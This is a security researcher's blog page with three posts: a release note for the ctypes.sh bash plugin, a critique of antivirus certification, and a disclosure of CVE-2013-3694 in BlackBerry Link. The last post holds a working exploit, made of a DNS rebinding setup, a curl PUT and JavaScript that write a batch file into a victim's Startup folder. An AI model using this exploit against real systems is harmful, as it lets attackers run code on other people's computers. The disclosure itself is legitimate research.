Monday, July 18, 2016

Just when you thought we couldn't take this any further...

ctypes.sh, our quest to build a toolkit for interacting with native code directly from bash scripts, has reached version 1.1. Apart from the standard bug fixes and improvements, the major enhancement in this release is automatic structure support.

Wait, what?
First some background, ctypes.sh is similar to the python ctypes module, but for bash. If you’ve ever wanted to access native libraries in your shell scripts (libm, zlib, gtk+, etc), or use system facilities (poll, select, setitimer, sockets1, pthreads, etc) - and who doesn’t want that - ctypes.sh can make it happen.


ctypes.sh isn’t a script, it’s a plugin -- bash allows you to load new features at runtime via enable -f plugin.so. I know, who knew?


Here’s a fun demo, a port of the GTK+3 Hello World to bash! Notice that we even generate function pointers to bash functions that can be called from native code, so you can provide callbacks!


ctypes.sh takes care of translating between bash and native code, and this works really well for simple data types (int, float, strings, etc). Things can get complicated when you need to use a struct * parameter.


Python solves it the same way ctypes.sh did - the user has to manually translate the structure into a usable form. In Python you create a class with matching members, and in bash you create an array.


That works, but it’s laborious and not much fun.


Starting from ctypes.sh 1.1, most2 of the time we can automatically import structures and create a bash data structure that looks like the native equivalent.


Let’s look at an example, and then I’ll explain how we do it. Here's how you would call stat().


#!/bin/bash
source ctypes.sh

# Define the format of struct stat for bash
struct stat passwd

# Allocate some space for the stat buffer
sizeof -m statbuf stat

# call stat
dlcall stat "/etc/passwd" $statbuf

# Convert result into bash structure
unpack $statbuf passwd

printf "/etc/passwd\n"
printf "\tuid:  %s\n" ${passwd[st_uid]}
printf "\tgid:  %s\n" ${passwd[st_gid]}
printf "\tmode: %o\n" ${passwd[st_mode]##*:}
printf "\tsize: %s\n" ${passwd[st_size]}


(Error checking omitted for clarity, full version here)

All ctypes.sh commands have builtin help (use help struct, for example), and there's a wiki with examples and documentation.

How?
There’s enough data in the compiler debugging data for us to reconstruct the original types, so we parse it and translate it into a format that can be used in bash - It’s surprising how well this works!


$ source ctypes.sh
$ struct itimerval interval
$ echo ${interval[it_value.tv_sec]}

long


In future, we expect to be able to automatically import enums, macros3 and parameter types as well. We’re using the fantastic libdwarves behind the scenes, which provides a convenient api for extracting and parsing DWARF data.


This does mean that dwarf data needs to be available, but this is simple on most platforms. There are more detailed troubleshooting steps available here, but in general:


  • On RedHat or CentOS, try debuginfo-install glibc
  • On Fedora, try dnf debuginfo-install glibc
  • On Debian or Ubuntu, try apt-get install libc6-dbg


An interesting problem we had to solve was that bash stores associative arrays as hash tables, and discards the ordering of elements. You can test this yourself, no matter how you assign elements, the order is forgotten.


$ declare -A hello
$ hello[foo]=1 hello[bar]=2 hello[baz]=3 hello[quz]=4
$ echo ${hello[@]}
2 4 3 1
There is no way of recovering or influencing the order of associative array elements4, so this can’t be used for storing structures which must maintain the order of members.


A quick reminder, a hash table has a fixed number of buckets, each bucket is just a linked list. When you insert a new element, it get’s appended to the list at  table->bucket[hash(key) % nbuckets].


Luckily for us, the bash plugin api allows plugins to set the bucket size used when creating an associative array. So, what happens if we make a test plugin that creates a new associative array with the bucket size set to 1?


   entry = make_new_array_variable("hello");
   entry->value = assoc_create(1); // bucket_size = 1
   entry->attributes = att_assoc;


$ enable -f test.so onebucket
$ onebucket hello
$ hello[foo]=1 hello[bar]=2 hello[baz]=3 hello[quz]=4
$ echo ${hello[@]}
1 2 3 4
All elements get appended to the same linked list, and so the order of elements is maintained!

We use this trick to create associative arrays that remember the order elements were assigned, and can export them back to native structures correctly.

Why?



Because we can.

When?



Right now!


The new features are documented on the wiki, the new release has been made, there are fresh examples in the test directory and the issue tracker is ready to receive any bugs you find.


And of course, we’re eagerly awaiting your mail asking if this is serious.



  1. Yes, bash has some basic builtin support for sockets, hardly comprehensive support.
  2. Some complicated structures might fail, we’re working on it.
  3. Macros are only included in debugging data if you use cc -g3 or similar. Nobody does this because it makes really big binaries, but we have some workarounds planned.
  4. Well, okay, I guess you could brute force a key prefix to influence the hashes or something.

Saturday, March 12, 2016

Security Software Certification

I’ve been working on cleaning up some of the low hanging vulnerabilities in major security products lately. For the last two weeks, I’ve been looking at Comodo Antivirus, and have developed a reasonable understanding of how the product works and what it does. Just installing the product, I immediately noticed a few simple problems. Things like:


  • The default installation included and enabled a VNC server with weak authentication.
  • The browser installed by default disabled the same origin policy.
  • The scanning process didn’t enable ASLR.
  • Incorrect ACL’s used throughout the product.


These issues are mostly fixed now, Comodo have been responsive and are taking all of these reports seriously. Identifying these problems didn’t require any skill, there are point-and-click tools that can identify some of these problems. Then, using techniques familiar to most security professionals, I went on to find critical memory corruption flaws.


After that, I used reverse engineering to find even more serious design flaws and logic errors. Comodo aren’t alone here, it’s the same story for all the major security software vendors.


Unfortunately, I’m not doing a thorough job.  I don't have access to source code, developer documentation, symbols,  and I can’t ask the developers questions about their code. A competent security consultancy bought on-site by the vendor could do a much better job.


Still, I’m trying to clean up some of the low hanging fruit that is endangering billions of users worldwide. I don’t think the antivirus industry is going to make even a token effort at resolving these issues unless their hand is forced.


While I've been working on this audit, triaging/analyzing hundreds of unique bugs, and writing vulnerability reports, I noticed that Comodo were busy working on certification from Verizon. This certification process isn’t free, and products have to follow guidelines from the certifier. It doesn’t take a genius to figure out that the testing methodology was most likely installing Comodo, then scanning a thumbdrive full of malware - but the fact is that vendors are willing to pay to make that happen and implement the guidelines they publish.


Verizon actually publish their methodology, and it’s about as ridiculous as you would expect. Requirements for “excellence” include “The Certification Candidate must include Administrative Functions to Enable and disable the Detection of Malware”, and “The Certification Candidate must demonstrate through On-Demand testing that it Detects Malware”.


These are the meaningless tests that antivirus vendors will actually scramble to pass. Perhaps the first step in improving the situation throughout the industry is making sure these certifications actually test something worthwhile.


There’s no need to reinvent the wheel here, why don’t these tests simply integrate some part of Microsoft’s SDL? Many of these tests can be automated, but their results would actually be useful. For example, "Product survives 24 hours of fuzzing with zero exceptions", "All processes and modules use minimum standards for mitigations", "An attack surface analyzer report identifies no new issues", and so on. Award bonus points in some ranking for using sandboxing, and maybe we'll see the first vendor actually implement that.


Something has to change soon. The next slammer or codered isn’t going to target IIS or MSSQL: the security of Microsoft products is in a different universe than it was a decade ago. All of the major security vendors are using ancient codebases with no awareness of modern security practices, it’s still hacking like it’s 1999.

Tuesday, November 12, 2013

QNX

I remember being blown away by the QNX 1.44M demo as a teenager, it had a really big impact on me. At one time, I had even configured fvwm to look like QNX Photon. Here is a real screenshot of my desktop from May 2004 (an old configuration file of mine is still on the fvwm site):




Curious about what RIM have been doing with QNX since the acquisition, I bought a BlackBerry Q10.


If you connect a pristine BlackBerry 10 device to a computer, it will identify itself as a SCSI CD-ROM, and attempt to autoplay the installation of BlackBerry Link.


$ lsusb -d 0x0FCA:
Bus 002 Device 006: ID 0fca:8020 Research In Motion, Ltd.
$ cdrecord --devices
-------------------------------------------------------------------------
0  dev='/dev/sg1' rwrw-- : 'RIM' 'PlayBook CD'
-------------------------------------------------------------------------
$ isoinfo -l -i /dev/sr0

Directory listing of /
d---------   0    0    0            2048 Dec 19 2012 [     21 02]  .
d---------   0    0    0            2048 Dec 19 2012 [     21 02]  ..
----------   0    0    0              72 Dec 19 2012 [     28 00]  AUTORUN.INF
d---------   0    0    0            2048 Dec 19 2012 [     22 02]  BACKGROUND
----------   0    0    0           38198 Dec 19 2012 [     29 00]  BLACKBERRY LINK INSTALLATI.RTF
d---------   0    0    0            2048 Dec 19 2012 [     23 02]  DRIVERS
----------   0    0    0           95326 Dec 19 2012 [  19546 00]  README.RTF
----------   0    0    0        58251649 Dec 19 2012 [  19593 00]  START.DMG
----------   0    0    0          432808 Dec 19 2012 [     48 00]  START.EXE

Directory listing of /BACKGROUND/
d---------   0    0    0            2048 Dec 19 2012 [     22 02]  .
d---------   0    0    0            2048 Dec 19 2012 [     21 02]  ..
----------   0    0    0            5655 Dec 19 2012 [  48037 00]  BACKGROUND.PNG

Directory listing of /DRIVERS/
d---------   0    0    0            2048 Dec 19 2012 [     23 02]  .
d---------   0    0    0            2048 Dec 19 2012 [     21 02]  ..
----------   0    0    0        36311440 Dec 19 2012 [    260 00]  BLACKBERRYDEVICEMANAGER.EXE
----------   0    0    0         2038440 Dec 19 2012 [  17991 00]  BLACKBERRYLAUNCHER.EXE
----------   0    0    0           83032 Dec 19 2012 [  18987 00]  SETUP.EXE
----------   0    0    0              10 Dec 19 2012 [  19028 00]  VERSION.TXT
$ isoinfo -x /AUTORUN.INF -i /dev/sr0
[AutoRun]
shellexecute=start.exe
icon=start.exe
label=BlackBerry CD


BlackBerry Link is the synchronization and management software for BlackBerry 10, and I couldn't help notice it immediately spawns an nginx process after installation.




Locating the nginx configuration, I found it’s being used as a WebDAV server, listening on an IPv6 address I don't recognise. It appears to be serving my %APPDATA% directory with no access control or authentication.


$ cat nginx.conf
...
       server {
               listen [fd0e:454e:f025:58dd:30e9:d752:1223:9cbf]:8080 default_server;
               server_name rimdav;
               location  / {
                       folder_config;
               }


...
               dav_access all:rw;


$ netstat -p TCPv6 -a
Active Connections


 Proto  Local Address          Foreign Address        State
 TCP    [::]:135               WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:445               WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1025              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1026              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1027              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1029              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1032              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::]:1047              WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::1]:1040             WIN-DBVU5A9QFHT:0      LISTENING
 TCP    [::1]:1040             WIN-DBVU5A9QFHT:1049   ESTABLISHED
 TCP    [::1]:1049             WIN-DBVU5A9QFHT:1040   ESTABLISHED
 TCP    [fd0e:454e:f025:58dd:30e9:d752:1223:9cbf]:8080  WIN-DBVU5A9QFHT:0      LISTENING
$ curl -g -X PUT --data "calc.exe" "http://[fd0e:454e:f025:58dd:30e9:d752:1223:9cbf]:8080/Start%20Menu/Programs/Startup/exploit.bat"


This looks wrong for multiple reasons. Apart from breaking the NT security model, the address is published in multicast DNS, so everyone on the network can see it.


The exploit is simple, you use DNS rebinding to get permission to XMLHttpRequest to the WebDAV share, then you can read or write anywhere relative to a victims %APPDATA% directory.


I wrote a quick IPv6 rebinding nameserver to test it. The idea is to just extract two AAAA records from the query labels, then return one at random with a very short (1 second) TTL. The attack will work on IPv4 networks as well, where you switch between returning 1 answer and 0 answers for A queries, but I haven't implemented A record support.


It works like this:


$ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
$ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
$ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address 1122:3344:5566:7788:99aa:1122:3344:5566
$ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
$ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address 1122:3344:5566:7788:99aa:1122:3344:5566


As you can see, it returns a random address specified in the query labels, switching between a host you control and a host you don’t.


So lets search for a victim on my network, you can use dig to query the multicast address 224.0.0.251 on port 5353 or avahi-browse if you have it:


$ avahi-browse -r -t _bp2p._tcp
+   eth0 IPv4 webdav_B309F0A0D86BA5EF_7846FB91C6A398A5      _bp2p._tcp           local
+   eth0 IPv4 Friendly_DA52877F19217E9B_7A0D69D13ECAE391    _bp2p._tcp           local
=   eth0 IPv4 webdav_B309F0A0D86BA5EF_7846FB91C6A398A5      _bp2p._tcp           local
  hostname = [3c222e49b3165fda656214723f757f.local]
  address = [fd3c:222e:49b3:165f:da65:6214:723f:757f]
  port = [8080]
  txt = []


Then I start an http server on my machine on a matching port:


$ python
Python 2.7.3 (default, Sep 26 2013, 20:03:06)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket
>>> from BaseHTTPServer import HTTPServer
>>> from SimpleHTTPServer import SimpleHTTPRequestHandler
>>>
>>> class HTTPServerV6(HTTPServer):
...  address_family = socket.AF_INET6
...
>>> HTTPServerV6(('::', 8080), SimpleHTTPRequestHandler).serve_forever()


I send the victim a link to a page that reloads http://aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us:8080 in an iframe until I get the server I control, and then return something like this:


<html>
<head></head>
<body>
<h1>Please Wait...</h1>

<script>
   // Where you want to write to on victim, relative to %APPDATA%.
   var path   = "/Start%20Menu/Programs/Startup/exploit.bat";

   // What you want to write there.
   var data   = "calc.exe";

   function sendRequest()
   {
       var xhr = new XMLHttpRequest();
       xhr.open("PUT", document.location.origin + path, false);
       xhr.send(data);
   }

   setInterval(sendRequest, 1000);
</script>
</body>
</html>


After a few seconds, the address should rebind and the browser will PUT the batch file into their Startup directory, I verified this works with the latest BlackBerry Link on Windows 7.


This vulnerability is CVE-2013-3694, which RIM are scheduled to resolve today.